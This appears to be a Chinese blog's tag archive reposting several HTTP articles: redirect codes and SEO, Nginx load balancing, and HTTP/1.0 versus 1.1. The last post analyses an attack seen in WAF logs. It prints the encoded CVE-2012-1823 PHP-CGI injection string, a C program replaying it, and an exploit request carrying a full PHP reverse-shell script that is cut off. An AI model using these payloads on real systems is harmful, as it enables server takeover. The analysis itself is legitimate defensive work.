存档

文章标签 ‘HTTP’

HTTP返回码中30X对SEO的影响

2017年3月30日 评论已被关闭

HTTP返回码中30X对SEO的影响
http://www.blogjava.net/hankchen/archive/2012/09/23/388379.html
在网站中由于某种原因经常会用到页面跳转。这种跳转从底层原理来看,都是利用了HTTP协议的30X返回码来实现的。

常用的30X返回码有下面几种:
301 永久性跳转
302 暂时性跳转
304 Not Modified 文档未修改
305 Use Proxy 客户请求的文档应该通过Location头所指明的代理服务器提取,属于HTTP 1.1新增内容
其中,对SEO产生影响的是前两个,即301和302。我就先详细的介绍这两个状态码的区别。

一、302
对用户而已,301,302是没有区别的。他们看到效果只是一个跳转,浏览器中旧的URL变成了新的URL。页面跳到了这个新URL指向的地方。
但是对于搜索引擎,302转向可能会有URL规范化及网址劫持的问题。可能被搜索引擎判为是作弊。网址规范化的内容可以参考这篇文章:http://www.chinamyhosting.com/seoblog/2006/04/10/url-canonicalization/
那么,网址劫持是怎么回事呢?
302重定向和网址劫持有什么关系呢?这要从搜索引擎如何处理302转向说起。从定义来说,从网址A做一个302重定向到网址B时,主机服务器的隐含意思是网址A随时有可能改主意,重新显示本身的内容或转向其他的地方。大部分的搜索引擎在大部分情况下,当收到302重定向时,一般只要去抓取目标网址就可以了,也就是说网址B。实际上如果搜索引擎在遇到302转向时,百分之百的都抓取目标网址B的话,就不用担心网址URL劫持了。

问题就在于,有的时候搜索引擎,尤其是Google,并不能总是抓取目标网址。为什么呢?比如说,有的时候A网址很短,但是它做了一个302重定向到B网址,而B网址是一个很长的乱七八糟的URL网址,甚至还有可能包含一些问号之类的参数。很自然的,A网址更加用户友好,而B网址既难看,又不用户友好。这时Google很有可能会仍然显示网址A。
由于搜索引擎排名算法只是程序而不是人,在遇到302重定向的时候,并不能像人一样的去准确判定哪一个网址更适当,这就造成了网址URL劫持的可能性。也就是说,一个不道德的人在他自己的网址A做一个302重定向到你的网址B,出于某种原因, Google搜索结果所显示的仍然是网址A,但是所用的网页内容却是你的网址B上的内容,这种情况就叫做网址URL劫持。你辛辛苦苦所写的内容就这样被别人偷走了。

二、301
当网页A用301重定向转到网页B时,搜索引擎可以肯定网页A永久的改变位置,或者说实际上不存在了,搜索引擎就会把网页B当作唯一有效目标。301的好处是:
(1)没有网址规范化问题。
(2)网页A的PR网页级别会传到网页B,这对SEO非常重要!

在实际操作过程中,我和同事对一个站点(www.woshuone.com)做了实验。结果发现不管是使用301还是302,很容易被Google “K掉”,取消跳转之后过一周左右的时间就又恢复了。看来搜索引擎蜘蛛现在对页面跳转还是比较反感,认为作弊的可能性大,宁可错杀一百也不放过一人!

分类: 互联网知识库 标签:

HTTP 的重定向301,302,303,307

2016年12月14日 评论已被关闭

HTTP 的重定向301,302,303,307
http://blog.sina.com.cn/s/blog_62ec29160101f3u3.html
301 永久重定向,告诉客户端以后应从新地址访问.
302 作为HTTP1.0的标准,以前叫做Moved Temporarily ,现在叫Found. 现在使用只是为了兼容性的处理,包括PHP的默认Location重定向用的也是302.
但是HTTP 1.1 有303 和307作为详细的补充,其实是对302的细化
303:对于POST请求,它表示请求已经被处理,客户端可以接着使用GET方法去请求Location里的URI。
307:对于POST请求,表示请求还没有被处理,客户端应该向Location里的URI重新发起POST请求。
实际测试:
测试内容:
写一个测试的test.html代码,发起post请求到test.php页面中
test.php页面分别给出3种重定向处理,都跳到test2.php
test2.php打印出post的结果
(至于怎么写..自己查手册吧,PHP发送头很容易.)
….
301 => “HTTP/1.1 301 Moved Permanently”,
302 => “HTTP/1.1 302 Found”,
303 => “HTTP/1.1 303 See Other”,
307 => “HTTP/1.1 307 Temporary Redirect”,
….
测试结果:
301,302和303的处理结果是一样的,直接跳转到test2.php,post没有内容
307的会重新post请求到test2.php,并且给出页面提示

分类: Linux命令大全 标签:

详解Nginx HTTP负载均衡和反向代理配置

2016年12月1日 评论已被关闭

详解Nginx HTTP负载均衡和反向代理配置

http://www.codesec.net/view/500613.html

当前大并发的网站基本都采用了Nginx来做代理服务器,并且做缓存,来扛住大并发。先前也用nginx配置过简单的代理,今天有时间把整合过程拿出来和大家分享,不过其中大部分也是网上找来的资源。
nginx完整的反向代理代码如下所示  :

[root@data conf]# vim nginx.conf
user www www;
worker_processes 10;

error_log /var/log/nginx/nginx_error.log;

pid logs/nginx.pid;

worker_rlimit_nofile 65535
events {
use epoll;
worker_connections 65535;
}

http {
include mime.types;
default_type application/octet-stream;

server_names_hash_bucket_size 128;
client_header_buffer_size 32k;
large_client_header_buffers 4 32k;
sendfile on;
tcp_nopush on;

keepalive_timeout 65;
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 64k;
fastcgi_buffers 4 64k;
fastcgi_busy_buffers_size 128k;
fastcgi_temp_file_write_size 128k;

gzip on;
gzip_min_length 1k;
gzip_buffers 4 16k;
gzip_http_version 1.0;
gzip_comp_level 2;
gzip_types text/plain application/x-javascript text/css application/xml;
gzip_vary on;

client_max_body_size 300m; #允许客户端请求的最大单个文件字节数
client_body_buffer_size 128k; #缓冲区代理缓冲用户端请求的最大字节数
proxy_connect_timeout 600; #跟后端服务器连接超时时间,发起握手等候响应超时时间
proxy_read_timeout 600; #连接成功后,等候后端服务器响应时间,在后端排队中等候
proxy_send_timeout 600; #后端服务器数据回传时间,就是在规定时间内后端服务器必须传完所有数
proxy_buffer_size 16k; #代理请求缓存区,这个缓存区间会保存用户的信息以供nginx进行规则处理,一般只要能保存下头信息即可
proxy_buffers 4 32k; #同上,告诉nginx保存单个用的几个Buffer最大用多大空间
proxy_busy_buffers_size 54k; #如果系统很忙可以申请用的几个更大的proxy_buffer
proxy_temp_file_write_size 64k; #缓存临时文件大小

upstreamphp_server_pool {
server 192.168.1.100:80 weight=4 max_fails=2 fail_timeout=30s;
server 192.168.1.101:80 weight=4 max_fails=2 fail_timeout=30s;
server 192.168.1.102:80 weight=4 max_fails=2 fail_timeout=30s;
}
upstream message_server_pool {
server 192.168.1.103:3245;
server 192.168.1.104:3245 down;
}
upstream bbs_server_pool {
server 192.168.1.105:80 weight=4 max_fails=2 fail_timeout=30s;
server 192.168.1.106:80 weight=4 max_fails=2 fail_timeout=30s;
server 192.168.1.107:80 weight=4 max_fails=2 fail_timeout=30s;
server 192.168.1.108:80 weight=4 max_fails=2 fail_timeout=30s;
}
#第一个虚拟主机,反向代理php_server_pool这组服务器
server {
listen 80;
server_name www.chlinux.net;
access_log /var/log/nginx/www.chlinux.net_access.log main;
location / {
#如果后端服务器返回502、504、执行超时等错误,自动将请求转发到upstream负载均衡池中的另一台服务器,实现故障转移。
proxy_next_upstream http_502 http_504 error timeout invalid_header;
proxy_pass http://php_server_pool;
proxy_set_header Host www.chlinux.net;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
#第二个虚拟主机
server {
listen 80;
server_name bbs.chlinux.net;
access_log /var/log/nginx/www.chlinux.net_access.log main;
#访问http://bbs.chlinux.net/message/***地址,反向代理message_server_pool这组服务器
location /message/ {
proxy_pass http://message_server_pool;
proxy_set_header Host $host;
}
#访问除了/message/之外的http://bbs.chlinux.net/***地址,反向代理php_server_pool这组服务器
location /message/ {
proxy_pass http://bbs_server_pool;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
#第三个虚拟主机
server {
listen 80;
server_name forum.chlinux.net;
access_log /var/log/nginx/www.chlinux.net_access.log main;
location / {

proxy_next_upstream http_502 http_504 error timeout invalid_header;
proxy_pass http://php_server_pool;
proxy_set_header Host www.chlinux.net;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
}

通过上述所示,已经看到nginx对于多个域名的负载均衡是如何配置的。pustream指令用于设置一组可以再proxy_pass和fastcgi_pass指令中使用的代理服务器,upstream模块中的server指令用于指定后端服务器的名称和参数,服务器的名称可以是一个域名、一个IP地址、端口号或UNIX Socket

nginx反向代理可以配置动、静态网页分离,就是让动态PHP等程序网页访问PHP web服务器,让缓存页、图片、javascript、CSS、Flash访问squid等缓存服务器。

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持脚本之家。

使用nginx作为HTTP负载均衡

2016年6月1日 评论已被关闭

使用nginx作为HTTP负载均衡
http://www.ttlsa.com/nginx/using-nginx-as-http-loadbalancer/
1. 介绍
在许多应用中,负载平衡是一种常用的技术来优化利用资源最大化吞吐量,减少等待时间,并确保容错。
可以使用nginx的作为一种非常高效的HTTP负载平衡器,将流量分配到多个应用服务器上提高性能,可扩展性和高可用性。
2. 负载均衡方法
nginx支持下面几种负载均衡机制:
round-robin:轮询。以轮询方式将请求分配到不同服务器上
least-connected:最少连接数。将下一个请求分配到连接数最少的那台服务器上
ip-hash :基于客户端的IP地址。散列函数被用于确定下一个请求分配到哪台服务器上
3. 负载均衡默认配置
nginx负载均衡最简单的配置如下:

http {
upstream myapp1 {
server srv1.example.com;
server srv2.example.com;
server srv3.example.com;
}

server {
listen 80;

location / {
proxy_pass http://myapp1;
}
}
}
http {
upstream myapp1 {
server srv1.example.com;
server srv2.example.com;
server srv3.example.com;
}

server {
listen 80;

location / {
proxy_pass http://myapp1;
}
}
}
在上面的例子中,srv1,srv2,srv3运行着相同的应用程序。如果没有特别指定负载均衡方法默认是以轮询方式。所有的请求被代理到服务组myapp1,然后nginx负载均衡的分发请求。
nginx反向代理实现包括下面这些负载均衡HTTP、HTTPS、FastCGI、uwsgi,SCGI和memcached。
要配置HTTPS的负载均衡,只需使用“https”开头的协议。
当要设置FastCGI,uwsgi,SCGI,或者memcached的负载平衡,分别使用fastcgi_pass,uwsgi_pass,scgi_pass和memcached_pass指令。
4. 最少连接负载均衡
在一些要求需要更长的时间才能完成的应用情况下, 最少连接可以更公平地控制应用程序实例的负载。使用最少连接负载均衡,nginx不会向负载繁忙的服务器上分发请求,而是将请求分发到负载低的服务器上。
配置如下:

upstream myapp1 {
least_conn;
server srv1.example.com;
server srv2.example.com;
server srv3.example.com;
}

upstream myapp1 {
least_conn;
server srv1.example.com;
server srv2.example.com;
server srv3.example.com;
}
5. 会话持久性
以轮询或最少连接的负载均衡算法,每个后续的客户端的请求,可以潜在地分配给不同的服务器上,并不能保证相同的客户端请求将总是指向同一服务器上。
这对于有会话信息的应用场景下,会有问题的。一般的做法是需要将session信息共享,如使用memcache来存放session。
如果将客户端的会话“粘性”或总是试图选择一个特定的服务器,也是可以的。负载均衡的ip-hash机制就可以实现。
配置如下:

upstream myapp1 {
ip_hash;
server srv1.example.com;
server srv2.example.com;
server srv3.example.com;
}

upstream myapp1 {
ip_hash;
server srv1.example.com;
server srv2.example.com;
server srv3.example.com;
}
6. 加权负载均衡
可以使用权重来进一步控制影响nginx负载均衡算法。
在上面的例子中,都没有配置权重,这意味着所有指定的服务器都被视为同样的。
当指定的服务器的权重参数,权重占比为负载均衡决定的一部分。权重大负载就大。
配置如下:

upstream myapp1 {
server srv1.example.com weight=3;
server srv2.example.com;
server srv3.example.com;
}

upstream myapp1 {
server srv1.example.com weight=3;
server srv2.example.com;
server srv3.example.com;
}
这种情况下,每5个新的请求将被分布如下:3请求将被引导到SRV1,一个请求将去SRV2,另一个请求去srv3。
7. 后端健康检测
nginx反向代理包含内置的或第三方扩展来实现服务器健康检测的。如果后端某台服务器响应失败,nginx会标记该台服务器失效,在特定时间内,请求不分发到该台上。
max_fails指令设置在fail_timeout期间内连续的失败尝试。 默认情况下,max_fails为1。如果被设置为0,该服务器的健康检测将禁用。
fail_timeout参数还定义了多长时间服务器将被标记为失败。在fail_timeout后,服务器还是failed,nginx将检测该服务器是否存活,如果探测成功,将标记为活的。
8. 内容延伸
upstream模块内容: http://nginx.org/en/docs/http/ngx_http_upstream_module.html#server
应用负载均衡:http://nginx.com/products/application-load-balancing/
应用健康检测:http://nginx.com/products/application-health-checks/
活动监视:http://nginx.com/products/live-activity-monitoring/
更加详细的负载均衡配置:http://nginx.com/blog/load-balancing-with-nginx-plus/
http://nginx.com/blog/load-balancing-with-nginx-plus-part2/

HTTP/1.1与HTTP/1.0的区别

2016年5月29日 评论已被关闭

HTTP/1.1与HTTP/1.0的区别
下面主要从几个不同的方面介绍HTTP/1.0与HTTP/1.1之间的差别,当然,更多的内容是放在解释这种差异背后的机制上。

1 可扩展性

可扩展性的一个重要原则:如果HTTP的某个实现接收到了自身未定义的头域,将自动忽略它。

Ø  在消息中增加版本号,用于兼容性判断。注意,版本号只能用来判断逐段(hop-by-hop)的兼容性,而无法判断端到端(end-to-end)的兼容性。
例如,一台HTTP/1.1的源服务器从使用HTTP/1.1的Proxy那儿接收到一条转发的消息,实际上源服务器并不知道终端客户使用的是HTTP/1.0还是HTTP/1.1。因此,HTTP/1.1定义Via头域,用来记录消息转发的路径,它记录了整个路径上所有发送方使用的版本号。

Ø  HTTP/1.1增加了OPTIONS方法,它允许客户端获取一个服务器支持的方法列表。

Ø  为了与未来的协议规范兼容,HTTP/1.1在请求消息中包含了Upgrade头域,通过该头域,客户端可以让服务器知道它能够支持的其它备用通信协议,服务器可以据此进行协议切换,使用备用协议与客户端进行通信。

2 缓存

在HTTP/1.0中,使用Expire头域来判断资源的fresh或stale,并使用条件请求(conditional request)来判断资源是否仍有效。例如,cache服务器通过If-Modified-Since头域向服务器验证资源的Last-Modefied头域是否有更新,源服务器可能返回304(Not Modified),则表明该对象仍有效;也可能返回200(OK)替换请求的Cache对象。

此外,HTTP/1.0中还定义了Pragma:no-cache头域,客户端使用该头域说明请求资源不能从cache中获取,而必须回源获取。

HTTP/1.1在1.0的基础上加入了一些cache的新特性,当缓存对象的Age超过Expire时变为stale对象,cache不需要直接抛弃stale对象,而是与源服务器进行重新激活(revalidation)。

HTTP/1.0中,If-Modified-Since头域使用的是绝对时间戳,精确到秒,但使用绝对时间会带来不同机器上的时钟同步问题。而HTTP/1.1中引入了一个ETag头域用于重激活机制,它的值entity tag可以用来唯一的描述一个资源。请求消息中可以使用If-None-Match头域来匹配资源的entitytag是否有变化。

为了使caching机制更加灵活,HTTP/1.1增加了Cache-Control头域(请求消息和响应消息都可使用),它支持一个可扩展的指令子集:例如max-age指令支持相对时间戳;private和no-store指令禁止对象被缓存;no-transform阻止Proxy进行任何改变响应的行为。

Cache使用关键字索引在磁盘中缓存的对象,在HTTP/1.0中使用资源的URL作为关键字。但可能存在不同的资源基于同一个URL的情况,要区别它们还需要客户端提供更多的信息,如Accept-Language和Accept-Charset头域。为了支持这种内容协商机制(content negotiation mechanism),HTTP/1.1在响应消息中引入了Vary头域,该头域列出了请求消息中需要包含哪些头域用于内容协商。

3 带宽优化

HTTP/1.0中,存在一些浪费带宽的现象,例如客户端只是需要某个对象的一部分,而服务器却将整个对象送过来了。例如,客户端只需要显示一个文档的部分内容,又比如下载大文件时需要支持断点续传功能,而不是在发生断连后不得不重新下载完整的包。

HTTP/1.1中在请求消息中引入了range头域,它允许只请求资源的某个部分。在响应消息中Content-Range头域声明了返回的这部分对象的偏移值和长度。如果服务器相应地返回了对象所请求范围的内容,则响应码为206(Partial Content),它可以防止Cache将响应误以为是完整的一个对象。

另外一种情况是请求消息中如果包含比较大的实体内容,但不确定服务器是否能够接收该请求(如是否有权限),此时若贸然发出带实体的请求,如果被拒绝也会浪费带宽。

HTTP/1.1加入了一个新的状态码100(Continue)。客户端事先发送一个只带头域的请求,如果服务器因为权限拒绝了请求,就回送响应码401(Unauthorized);如果服务器接收此请求就回送响应码100,客户端就可以继续发送带实体的完整请求了。注意,HTTP/1.0的客户端不支持100响应码。但可以让客户端在请求消息中加入Expect头域,并将它的值设置为100-continue。

节省带宽资源的一个非常有效的做法就是压缩要传送的数据。Content-Encoding是对消息进行端到端(end-to-end)的编码,它可能是资源在服务器上保存的固有格式(如jpeg图片格式);在请求消息中加入Accept-Encoding头域,它可以告诉服务器客户端能够解码的编码方式。

而Transfer-Encoding是逐段式(hop-by-hop)的编码,如Chunked编码。在请求消息中加入TE头域用来告诉服务器能够接收的transfer-coding方式,

4 长连接

HTTP 1.0规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后立即断开TCP连接,服务器不跟踪每个客户也不记录过去的请求。此外,由于大多数网页的流量都比较小,一次TCP连接很少能通过slow-start区,不利于提高带宽利用率。

HTTP 1.1支持长连接(PersistentConnection)和请求的流水线(Pipelining)处理,在一个TCP连接上可以传送多个HTTP请求和响应,减少了建立和关闭连接的消耗和延迟。例如:一个包含有许多图像的网页文件的多个请求和应答可以在一个连接中传输,但每个单独的网页文件的请求和应答仍然需要使用各自的连接。

HTTP 1.1还允许客户端不用等待上一次请求结果返回,就可以发出下一次请求,但服务器端必须按照接收到客户端请求的先后顺序依次回送响应结果,以保证客户端能够区分出每次请求的响应内容,这样也显著地减少了整个下载过程所需要的时间。

在HTTP/1.0中,要建立长连接,可以在请求消息中包含Connection: Keep-Alive头域,如果服务器愿意维持这条连接,在响应消息中也会包含一个Connection: Keep-Alive的头域。同时,可以加入一些指令描述该长连接的属性,如max,timeout等。

事实上,Connection头域可以携带三种不同类型的符号:

1、一个包含若干个头域名的列表,声明仅限于一次hop连接的头域信息;

2、任意值,本次连接的非标准选项,如Keep-Alive等;

3、close值,表示消息传送完成之后关闭长连接;
客户端和源服务器之间的消息传递可能要经过很多中间节点的转发,这是一种逐跳传递(hop-by-hop)。HTTP/1.1相应地引入了hop-by-hop头域,这种头域仅作用于一次hop,而非整个传递路径。每一个中间节点(如Proxy,Gateway)接收到的消息中如果包含Connection头域,会查找Connection头域中的一个头域名列表,并在将消息转发给下一个节点之前先删除消息中这些头域。

通常,HTTP/1.0的Proxy不支持Connection头域,为了不让它们转发可能误导接收者的头域,协议规定所有出现在Connection头域中的头域名都将被忽略。

5 消息传递

HTTP消息中可以包含任意长度的实体,通常它们使用Content-Length来给出消息结束标志。但是,对于很多动态产生的响应,只能通过缓冲完整的消息来判断消息的大小,但这样做会加大延迟。如果不使用长连接,还可以通过连接关闭的信号来判定一个消息的结束。

HTTP/1.1中引入了Chunkedtransfer-coding来解决上面这个问题,发送方将消息分割成若干个任意大小的数据块,每个数据块在发送时都会附上块的长度,最后用一个零长度的块作为消息结束的标志。这种方法允许发送方只缓冲消息的一个片段,避免缓冲整个消息带来的过载。

在HTTP/1.0中,有一个Content-MD5的头域,要计算这个头域需要发送方缓冲完整个消息后才能进行。而HTTP/1.1中,采用chunked分块传递的消息在最后一个块(零长度)结束之后会再传递一个拖尾(trailer),它包含一个或多个头域,这些头域是发送方在传递完所有块之后再计算出值的。发送方会在消息中包含一个Trailer头域告诉接收方这个拖尾的存在。

6 Host头域

在HTTP1.0中认为每台服务器都绑定一个唯一的IP地址,因此,请求消息中的URL并没有传递主机名(hostname)。但随着虚拟主机技术的发展,在一台物理服务器上可以存在多个虚拟主机(Multi-homed Web Servers),并且它们共享一个IP地址。

HTTP1.1的请求消息和响应消息都应支持Host头域,且请求消息中如果没有Host头域会报告一个错误(400 Bad Request)。此外,服务器应该接受以绝对路径标记的资源请求。

7 错误提示

HTTP/1.0中只定义了16个状态响应码,对错误或警告的提示不够具体。HTTP/1.1引入了一个Warning头域,增加对错误或警告信息的描述。

此外,在HTTP/1.1中新增了24个状态响应码,如409(Conflict)表示请求的资源与资源的当前状态发生冲突;410(Gone)表示服务器上的某个资源被永久性的删除。

8 内容协商

为了满足互联网使用不同母语和字符集的用户,一些网络资源有不同的语言版本(如中文版、英文版)。HTTP/1.0定义了内容协商(contentnegotiation)的概念,也就是说客户端可以告诉服务器自己可以接收以何种语言(或字符集)表示的资源。例如如果服务器不能明确客户端需要何种类型的资源,会返回300(Multiple Choices),并包含一个列表,用来声明该资源的不同可用版本,然后客户端在请求消息中包含Accept-Language和Accept-Charset头域指定需要的版本。

就像有些人会说几门外语,但每种外语的流利程度并不相同。类似地,网络资源也可以有不同的表达形式,比如有母语版和各种翻译版本。HTTP引入了一个品质因子(quality values)的概念来表示不同版本的可用性,它的取值从0.0到1.0。例如一个母语是英语的人也能讲法语、甚至还学了点丹麦语,那么他的浏览器可用作如下配置:Accept-Language: en, fr;q=0.5, da;q=0.1。这时,服务器会优先选取品质因子高的值对应的资源版本作为响应。
参考资料

[1] Brian Totty, “HTTP: The DefinitiveGuide”, O’REILLY & ASSOC INC, 27, Sep., 2002.

[2] B. Krishnamurthy, J. C. Mogul, and D.M. Kristol, “Key Differences between HTTP/1.0 and HTTP/1.1”,http://www2.research.att.com/~bala/papers/h0vh1.html.

分类: Linux运维技术集锦 标签:

无域名HTTP请求攻击分析

2016年5月23日 评论已被关闭

无域名HTTP请求攻击分析

http://blog.csdn.net/lenchio/article/details/31351617

检测组内WEB服务器攻击日志时,在防护WAF上发现如下攻击记录:

http://-c//cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

攻击来源为192.187.125.130

请求方法为POST

解码后为:

http://-c//cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=””+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n

使用的WAF不能记录POST提交的内容,无法获悉攻击者提交的数据。

攻击手段分析

最开始很不理解这个HTTP请求是如何发送过来的,没有使用正确的域名,也没有在HTTP请求中指定服务器IP!经过讨论有同事认为是工具指定IP和端口利用socket自动发送的。

攻击复现

做如下尝试:

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <stdio.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <string.h>

int main(){

int sockfd;

int len;

struct sockaddr_in address;

int result;

char *strings=”GET/test.jsp?test=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6EHTTP/1.1\r\nHost: -test\r\nConnection: Close\r\n\r\n”;

char ch;

sockfd = socket(AF_INET,SOCK_STREAM, 0);

address.sin_family = AF_INET;

address.sin_addr.s_addr =inet_addr(“159.226.16.74”);

address.sin_port = htons(80);

len = sizeof(address);

result = connect(sockfd,  (struct sockaddr *)&address, len);

if(result == -1){

perror(“oops: client1”);

return 1;

}

 

write(sockfd,strings,strlen(strings));

while(read(sockfd,&ch,1)){

printf(“%c”, ch);

}

close(sockfd);

return 1;

}

 

编译执行,得到如下返回结果:

HTTP/1.1 403 Forbidden

Date: Mon, 16 Jun 2014 02:11:20GMT

Content-Type: text/html

Content-Length: 343

X-Squid-Error: policy/scan.html 0

Connection: close

 

<!DOCTYPE HTML PUBLIC”-//W3C//DTD HTML 4.01 Transitional//EN””http://www.w3.org/TR/html4/loose.dtd”>

<html>

<head>

<title>访问禁止</title>

<meta http-equiv=”Content-type”content=”text/html; charset=utf-8″>

 

</head>

<body>

请不要进行扫描攻击!

</body>

</html>

 

<BR clear=”all”>

<ADDRESS>

</ADDRESS>

</BODY></HTML>

查看防护WAF攻击日志:

与攻击者的攻击效果一样,说明猜测是正确的,攻击者确实是使用socket指定IP和端口发送的HTTP请求。

对那些限定只能使用域名访问的网站,这种攻击方式应该是无效的。尽管如此,但是这种攻击方式对那些普通的允许直接使用IP访问的网站是非常犀利的。设想如果实例程序中,目的IP是一个IP地址段,那么该地址段内的所有存在漏洞的WEB服务器都会收到攻击影响,而攻击者根本不需要知道网站域名。

漏洞分析

百度或google检索:

-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=””+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n

获悉如下信息[2]

Apache / PHP 5.x Remote Code Execution简单分析

这篇下午写完了发到邮件组里了,然后同学找有事出去。回来在微博上看到素包子写了篇文章,思路清晰起承转合甚好。下面是我自己写的挫文。

测试环境

ubuntu 10.04 + apache2 + php 5.3.2。最开始测试直接用apt-getinstall安装的apache2,但是后面怎么设置也不行,后来改用了源码编译后面经过配置exploit-db上的exp可以使用了。

该exp使用的要求(exp说明)

1、具有cve-2012-1823【http://zone.wooyun.org/content/151】, 后面说原因

2、php以cgi形式安装的

3、可以访问到路径/cgi-bin/php5-cgi等cgi程序

exp分析

exp大致过程如下:

默认情况下php.ini中有两个和cgi运行方式有关的开关,exp使用cve-2012-1823将和cgi安全有关的开关关掉,而后将远程包含的标签打开,将post的数据包含进来并且执行,而这个post的数据就是反弹shell的payload,而且该exp尝试了多个cgi程序:/cgi-bin/php, /cgi-bin/php5,/cgi-bin/php-cgi,/cgi-bin/php.cgi

 

exp的数据包如下:

POST/cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6EHTTP/1.1

Host: 10.21.24.111

User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0Mobile/10A5355d Safari/8536.25

Content-Type: application/x-www-form-urlencoded

Content-Length: 2048

Connection: close

 

 

<?php

set_time_limit(0);

$ip = ‘10.21.24.109’;

$port = 7758;

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = ‘unset HISTFILE; unset HISTSIZE;uname -a; w; id; /bin/sh -i’;

$daemon = 0;

$debug = 0;

if (function_exists(‘pcntl_fork’)) {

.$pid = pcntl_fork();.

.if ($pid == -1) {

..printit(“ERROR: Can’t fork”);

..exit(1);

.}

.if ($pid) {

..exit(0);

.}

.if (posix_setsid() == -1) {

..printit(“Error: Can’tsetsid()”);

..exit(1);

.}

.$daemon = 1;

} else {

.printit(“WARNING: Failed todaemonise.”);

}

chdir(“/”);

umask(0);

$sock = fsockopen($ip, $port, $errno,$errstr, 30);

if (!$sock) {

.printit(“$errstr ($errno)”);

.exit(1);

}

$descriptorspec = array(

0=> array(“pipe”, “r”),

1=> array(“pipe”, “w”),

2=> array(“pipe”, “w”)

);

$process = proc_open($shell,$descriptorspec, $pipes);

if (!is_resource($process)) {

.printit(“ERROR: Can’t spawnshell”);

.exit(1);

}

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

while (1) {

.if (feof($sock)) {

..printit(“ERROR: Shell connectionterminated”);

..break;

.}

.if (feof($pipes[1])) {

..printit(“ERROR: Shell processterminated”);

..break;

.}

.$read_a = array($sock, $pipes[1],$pipes[2]);

.$num_changed_sockets =stream_select($read_a, $write_a, $error_a, null);

.if (in_array($sock, $read_a)) {

..if ($debug) printit(“SOCKREAD”);

..$input = fread($sock, $chunk_size);

..if ($debug) printit(“SOCK:$input”);

..fwrite($pipes[0], $input);

.}

.if (in_array($pipes[1], $read_a)) {

..if ($debug) printit(“STDOUTREAD”);

..$input = fread($pipes[1], $chunk_size);

..if ($debug) printit(“STDOUT:$input”);

..fwrite($sock, $input);

.}

.if (in_array($pipes[2], $read_a)) {

..if ($debug) printit(“STDERRREAD”);

..$input = fread($pipes[2], $chunk_size);

..if ($debug) printit(“STDERR:$input”);

..fwrite($sock, $input);

.}

}

 

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

